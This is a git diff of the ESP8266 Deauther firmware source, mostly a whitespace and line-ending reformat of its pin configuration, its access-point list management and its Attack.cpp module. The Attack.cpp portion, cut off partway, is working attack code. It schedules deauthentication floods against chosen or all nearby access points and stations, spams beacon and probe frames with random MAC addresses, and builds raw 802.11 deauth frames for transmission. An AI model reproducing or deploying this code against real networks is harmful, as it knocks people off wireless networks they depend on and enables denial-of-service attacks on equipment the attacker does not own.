diff --git a/esp8266_deauther/A_config.h b/esp8266_deauther/A_config.h index a9783db..5dd2ecd 100644 --- a/esp8266_deauther/A_config.h +++ b/esp8266_deauther/A_config.h @@ -1,81 +1,85 @@ -#ifndef config_h -#define config_h - -// ===== DISPLAY LIBRARY ===== // -#include -#include -#include "SH1106Wire.h" -#include "SSD1306Wire.h" -#include "SH1106Spi.h" -#include "SSD1306Spi.h" -// =========================== // - -// ===================== LED CONFIG ==================== // - -/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - Uncomment the type of LED you're using - Only one of them can be defined at a time! - = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -#define DIGITAL_LED -// #define RGB_LED -// #define NEOPIXEL_LED - -/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - Adjust following settings for your type of LED - you can ignore the rest of the #define's - = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ - -// === Settings for Digital LED and RGB LED === // -#define LED_ANODE false // common vcc (+) -#define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 255 // 255 = LED disabled -#define LED_PIN_B 2 // ESP-12 LED - -// === Settings for RGB LED and Neopixel LED === // -#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes - -// === Settings for Neopixel LED === // -#define LED_NEOPIXEL_NUM 1 -#define LED_NEOPIXEL_PIN 15 -#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) - -// ===================== DISPLAY CONFIG ==================== // -#define USE_DISPLAY false // default display setting - -/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - Adjust the pins to match your setup - Comment out the buttons you don't use. - = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -#define BUTTON_UP 14 -#define BUTTON_DOWN 12 -#define BUTTON_A 13 - -// #define BUTTON_LEFT 12 -// #define BUTTON_RIGHT 13 -// #define BUTTON_B 10 - -/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - Uncomment the type of display you're using - Only one of them can be defined at a time! - = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - */ -#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED -// #define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED - -/* RST = GPIO 5 (D1) - DC = GPIO 4 (D2) - CS = GPIO 15 (D8) or GND - SCK/SCL = GPIO 14 (D5) - SDA/MOSI = GPIO 13 (D7) */ -// #define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI -// #define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI - -// #define FLIP_DIPLAY // uncomment that to flip the display vertically -// ========================================================= // - -#endif // ifndef config_h +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +#define HIGHLIGHT_LED 16 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_GRBW Pixels are wired for GRBW bitstream +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + 0x3c = I2C address + SDA = GPIO 5 (D1) + SCL/SCK = GPIO 4 (D2) */ +//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/esp8266_deauther/Accesspoints.cpp b/esp8266_deauther/Accesspoints.cpp index c9aa389..0705a51 100644 --- a/esp8266_deauther/Accesspoints.cpp +++ b/esp8266_deauther/Accesspoints.cpp @@ -1,307 +1,311 @@ -#include "Accesspoints.h" - -Accesspoints::Accesspoints() { - list = new SimpleList; -} - -void Accesspoints::sort() { - list->setCompare([](AP & a, AP & b) -> int { - if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; - if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; - return 1; - }); - list->sort(); - changed = true; -} - -void Accesspoints::sortAfterChannel() { - list->setCompare([](AP & a, AP & b) -> int { - if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; - if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; - return 1; - }); - list->sort(); - changed = true; -} - -void Accesspoints::add(uint8_t id, bool selected) { - list->add(AP{ id, selected }); - changed = true; -} - -void Accesspoints::printAll() { - prntln(AP_HEADER); - int c = count(); - - if (c == 0) prntln(AP_LIST_EMPTY); - else - for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); -} - -void Accesspoints::printSelected() { - prntln(AP_HEADER); - int max = selected(); - - if (selected() == 0) { - prntln(AP_NO_AP_SELECTED); - return; - } - int c = count(); - int j = 0; - - for (int i = 0; i < c && j < max; i++) { - if (getSelected(i)) { - print(i, j == 0, j == max - 1); - j++; - } - } -} - -void Accesspoints::print(int num) { - print(num, true, true); -} - -void Accesspoints::print(int num, bool header, bool footer) { - if (!check(num)) return; - - if (header) { - prntln(AP_TABLE_HEADER); - prntln(AP_TABLE_DIVIDER); - } - prnt(leftRight(String(), (String)num, 2)); - prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); - prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); - prnt(leftRight(String(SPACE), (String)getCh(num), 3)); - prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); - prnt(leftRight(String(SPACE), getEncStr(num), 5)); - prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); - prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); - prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); - - if (footer) { - prntln(AP_TABLE_DIVIDER); - } -} - -String Accesspoints::getSSID(int num) { - if (!check(num)) return String(); - - if (getHidden(num)) { - return str(AP_HIDDEN); - } else { - String ssid = WiFi.SSID(getID(num)); - ssid = ssid.substring(0, 32); - ssid = fixUtf8(ssid); - return ssid; - } -} - -String Accesspoints::getNameStr(int num) { - if (!check(num)) return String(); - - return names.find(getMac(num)); -} - -uint8_t Accesspoints::getCh(int num) { - if (!check(num)) return 0; - - return WiFi.channel(getID(num)); -} - -int Accesspoints::getRSSI(int num) { - if (!check(num)) return 0; - - return WiFi.RSSI(getID(num)); -} - -uint8_t Accesspoints::getEnc(int num) { - if (!check(num)) return 0; - - return WiFi.encryptionType(getID(num)); -} - -String Accesspoints::getEncStr(int num) { - if (!check(num)) return String(); - - switch (getEnc(num)) { - case ENC_TYPE_NONE: - return String(DASH); - - break; - - case ENC_TYPE_WEP: - return str(AP_WEP); - - break; - - case ENC_TYPE_TKIP: - return str(AP_WPA); - - break; - - case ENC_TYPE_CCMP: - return str(AP_WPA2); - - break; - - case ENC_TYPE_AUTO: - return str(AP_AUTO); - - break; - } - return String(QUESTIONMARK); -} - -String Accesspoints::getSelectedStr(int num) { - return b2a(getSelected(num)); -} - -uint8_t* Accesspoints::getMac(int num) { - if (!check(num)) return 0; - - return WiFi.BSSID(getID(num)); -} - -String Accesspoints::getMacStr(int num) { - if (!check(num)) return String(); - - uint8_t* mac = getMac(num); - return bytesToStr(mac, 6); -} - -String Accesspoints::getVendorStr(int num) { - if (!check(num)) return String(); - - return searchVendor(getMac(num)); -} - -bool Accesspoints::getHidden(int num) { - if (!check(num)) return false; - - return WiFi.isHidden(getID(num)); -} - -bool Accesspoints::getSelected(int num) { - if (!check(num)) return false; - - return list->get(num).selected; -} - -uint8_t Accesspoints::getID(int num) { - if (!check(num)) return -1; - - return list->get(num).id; -} - -void Accesspoints::select(int num) { - if (!check(num)) return; - - internal_select(num); - - prnt(AP_SELECTED); - prntln(getSSID(num)); - - changed = true; -} - -void Accesspoints::deselect(int num) { - if (!check(num)) return; - - internal_deselect(num); - - prnt(AP_DESELECTED); - prntln(getSSID(num)); - - changed = true; -} - -void Accesspoints::remove(int num) { - if (!check(num)) return; - - prnt(AP_REMOVED); - prntln(getSSID(num)); - - internal_remove(num); - - changed = true; -} - -void Accesspoints::select(String ssid) { - for(int i=0;isize();i++){ - if(getSSID(i).equalsIgnoreCase(ssid)) select(i); - } -} - -void Accesspoints::deselect(String ssid) { - for(int i=0;isize();i++){ - if(getSSID(i).equalsIgnoreCase(ssid)) deselect(i); - } -} - -void Accesspoints::remove(String ssid) { - for(int i=0;isize();i++){ - if(getSSID(i).equalsIgnoreCase(ssid)) remove(i); - } -} - -void Accesspoints::selectAll() { - for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); - prntln(AP_SELECTED_ALL); - changed = true; -} - -void Accesspoints::deselectAll() { - for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); - prntln(AP_DESELECTED_ALL); - changed = true; -} - -void Accesspoints::removeAll() { - while (count() > 0) internal_remove(0); - prntln(AP_REMOVED_ALL); - changed = true; -} - -int Accesspoints::find(uint8_t id) { - int s = list->size(); - - for (int i = 0; i < s; i++) { - if (list->get(i).id == id) return i; - } - return -1; -} - -int Accesspoints::count() { - return list->size(); -} - -int Accesspoints::selected() { - int c = 0; - - for (int i = 0; i < list->size(); i++) c += list->get(i).selected; - return c; -} - -bool Accesspoints::check(int num) { - if (internal_check(num)) return true; - - prnt(AP_NO_AP_ERROR); - prntln((String)num); - return false; -} - -bool Accesspoints::internal_check(int num) { - return num >= 0 && num < count(); -} - -void Accesspoints::internal_select(int num) { - list->replace(num, AP{ list->get(num).id, true }); -} - -void Accesspoints::internal_deselect(int num) { - list->replace(num, AP{ list->get(num).id, false }); -} - -void Accesspoints::internal_remove(int num) { - list->remove(num); -} +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDEN); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/esp8266_deauther/Accesspoints.h b/esp8266_deauther/Accesspoints.h index fca2ffa..84cc3a0 100644 --- a/esp8266_deauther/Accesspoints.h +++ b/esp8266_deauther/Accesspoints.h @@ -1,81 +1,81 @@ -#ifndef Accesspoints_h -#define Accesspoints_h - -#include "Arduino.h" -#include -extern "C" { - #include "user_interface.h" -} -#include "language.h" -#include "SimpleList.h" -#include "Names.h" - -extern Names names; - -extern String searchVendor(uint8_t* mac); -extern String leftRight(String a, String b, int len); -extern String fixUtf8(String str); -extern String bytesToStr(uint8_t* b, uint32_t size); - -struct AP { - uint8_t id; - bool selected; -}; - -class Accesspoints { - public: - Accesspoints(); - - void sort(); - void sortAfterChannel(); - - void add(uint8_t id, bool selected); - - void print(int num); - void print(int num, bool header, bool footer); - - void select(int num); - void deselect(int num); - void remove(int num); - void select(String ssid); - void deselect(String ssid); - void remove(String ssid); - - void printAll(); - void printSelected(); - void selectAll(); - void deselectAll(); - void removeAll(); - - String getSSID(int num); - String getNameStr(int num); - String getEncStr(int num); - String getMacStr(int num); - String getVendorStr(int num); - String getSelectedStr(int num); - uint8_t getCh(int num); - uint8_t getEnc(int num); - uint8_t getID(int num); - int getRSSI(int num); - uint8_t* getMac(int num); - bool getHidden(int num); - bool getSelected(int num); - - int find(uint8_t id); - - int count(); - int selected(); - - bool check(int num); - bool changed = false; - - private: - SimpleList* list; - - bool internal_check(int num); - void internal_select(int num); - void internal_deselect(int num); - void internal_remove(int num); -}; - -#endif // ifndef Accesspoints_h +#ifndef Accesspoints_h +#define Accesspoints_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; + +#endif // ifndef Accesspoints_h \ No newline at end of file diff --git a/esp8266_deauther/Attack.cpp b/esp8266_deauther/Attack.cpp index 404c5f1..a3fd957 100644 --- a/esp8266_deauther/Attack.cpp +++ b/esp8266_deauther/Attack.cpp @@ -1,458 +1,458 @@ -#include "Attack.h" - -Attack::Attack() { - getRandomMac(mac); - - if (settings.getBeaconInterval()) { - // 1s beacon interval - beaconPacket[32] = 0xe8; - beaconPacket[33] = 0x03; - } else { - // 100ms beacon interval - beaconPacket[32] = 0x64; - beaconPacket[33] = 0x00; - } - - deauth.time = currentTime; - beacon.time = currentTime; - probe.time = currentTime; -} - -void Attack::start() { - stop(); - prntln(A_START); - attackTime = currentTime; - attackStartTime = currentTime; - accesspoints.sortAfterChannel(); - stations.sortAfterChannel(); - running = true; -} - -void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { - Attack::beacon.active = beacon; - Attack::deauth.active = deauth || deauthAll; - Attack::deauthAll = deauthAll; - Attack::probe.active = probe; - - Attack::output = output; - Attack::timeout = timeout; - - // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && - // scan.countSelected() > 0)){ - if (beacon || probe || deauthAll || deauth) { - start(); - } else { - prntln(A_NO_MODE_ERROR); - accesspoints.sort(); - stations.sort(); - stop(); - } -} - -void Attack::stop() { - if (running) { - running = false; - deauthPkts = 0; - beaconPkts = 0; - probePkts = 0; - deauth.packetCounter = 0; - beacon.packetCounter = 0; - probe.packetCounter = 0; - deauth.maxPkts = 0; - beacon.maxPkts = 0; - probe.maxPkts = 0; - packetRate = 0; - deauth.tc = 0; - beacon.tc = 0; - probe.tc = 0; - prntln(A_STOP); - } -} - -bool Attack::isRunning() { - return running; -} - -void Attack::updateCounter() { - // stop when timeout is active and time is up - if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { - prntln(A_TIMEOUT); - stop(); - return; - } - - // deauth packets per second - if (deauth.active) { - if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * - (accesspoints.count() + stations.count() * 2 - names.selected()); - else deauth.maxPkts = settings.getDeauthsPerTarget() * - (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); - } else { - deauth.maxPkts = 0; - } - - // beacon packets per second - if (beacon.active) { - beacon.maxPkts = ssids.count(); - - if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; - } else { - beacon.maxPkts = 0; - } - - // probe packets per second - if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); - else probe.maxPkts = 0; - - // random transmission power - if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); - else setOutputPower(20.5f); - - // reset counters - deauthPkts = deauth.packetCounter; - beaconPkts = beacon.packetCounter; - probePkts = probe.packetCounter; - packetRate = tmpPacketRate; - deauth.packetCounter = 0; - beacon.packetCounter = 0; - probe.packetCounter = 0; - deauth.tc = 0; - beacon.tc = 0; - probe.tc = 0; - tmpPacketRate = 0; -} - -void Attack::status() { - char s[120]; - - sprintf(s, str( - A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, - probe.maxPkts); - prnt(String(s)); -} - -String Attack::getStatusJSON() { - String json = String(OPEN_BRACKET); // [ - - json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + - String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( - beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( - probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(packetRate); // 0 - json += CLOSE_BRACKET; // ] - - return json; -} - -void Attack::update() { - if (!running || scan.isScanning()) return; - - apCount = accesspoints.count(); - stCount = stations.count(); - nCount = names.count(); - - // run/update all attacks - deauthUpdate(); - deauthAllUpdate(); - beaconUpdate(); - probeUpdate(); - - // each second - if (currentTime - attackTime > 1000) { - attackTime = currentTime; // update time - updateCounter(); - - if (output) status(); // status update - getRandomMac(mac); // generate new random mac - } -} - -void Attack::deauthUpdate() { - if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { - if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { - // APs - if ((apCount > 0) && (deauth.tc < apCount)) { - if (accesspoints.getSelected(deauth.tc)) { - deauth.tc += deauthAP(deauth.tc); - } else deauth.tc++; - } - - // Stations - else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { - if (stations.getSelected(deauth.tc - apCount)) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else deauth.tc++; - } - - // Names - else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { - if (names.getSelected(deauth.tc - stCount - apCount)) { - deauth.tc += deauthName(deauth.tc - stCount - apCount); - } else deauth.tc++; - } - - // reset counter - if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; - } - } -} - -void Attack::deauthAllUpdate() { - if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { - if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { - // APs - if ((apCount > 0) && (deauth.tc < apCount)) { - tmpID = names.findID(accesspoints.getMac(deauth.tc)); - - if (tmpID < 0) { - deauth.tc += deauthAP(deauth.tc); - } else if (!names.getSelected(tmpID)) { - deauth.tc += deauthAP(deauth.tc); - } else deauth.tc++; - } - - // Stations - else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { - tmpID = names.findID(stations.getMac(deauth.tc - apCount)); - - if (tmpID < 0) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else if (!names.getSelected(tmpID)) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else deauth.tc++; - } - - // Names - else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { - if (!names.getSelected(deauth.tc - apCount - stCount)) { - deauth.tc += deauthName(deauth.tc - apCount - stCount); - } else deauth.tc++; - } - - // reset counter - if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; - } - } -} - -void Attack::probeUpdate() { - if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { - if (probe.time <= currentTime - (1000 / probe.maxPkts)) { - if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11); - probe.tc += sendProbe(probe.tc); - - if (probe.tc >= ssids.count()) probe.tc = 0; - } - } -} - -void Attack::beaconUpdate() { - if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { - if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { - beacon.tc += sendBeacon(beacon.tc); - - if (beacon.tc >= ssids.count()) beacon.tc = 0; - } - } -} - -bool Attack::deauthStation(int num) { - return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); -} - -bool Attack::deauthAP(int num) { - return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); -} - -bool Attack::deauthName(int num) { - if (names.isStation(num)) { - return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); - } else { - return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); - } -} - -bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { - if (!stMac) return false; // exit when station mac is null - - // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging - - bool success = false; - - // build deauth packet - packetSize = sizeof(deauthPacket); - memcpy(&deauthPacket[4], stMac, 6); - memcpy(&deauthPacket[10], apMac, 6); - memcpy(&deauthPacket[16], apMac, 6); - deauthPacket[24] = reason; - - // send deauth frame - deauthPacket[0] = 0xc0; - - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { - success = true; - deauth.packetCounter++; - } - - // send disassociate frame - 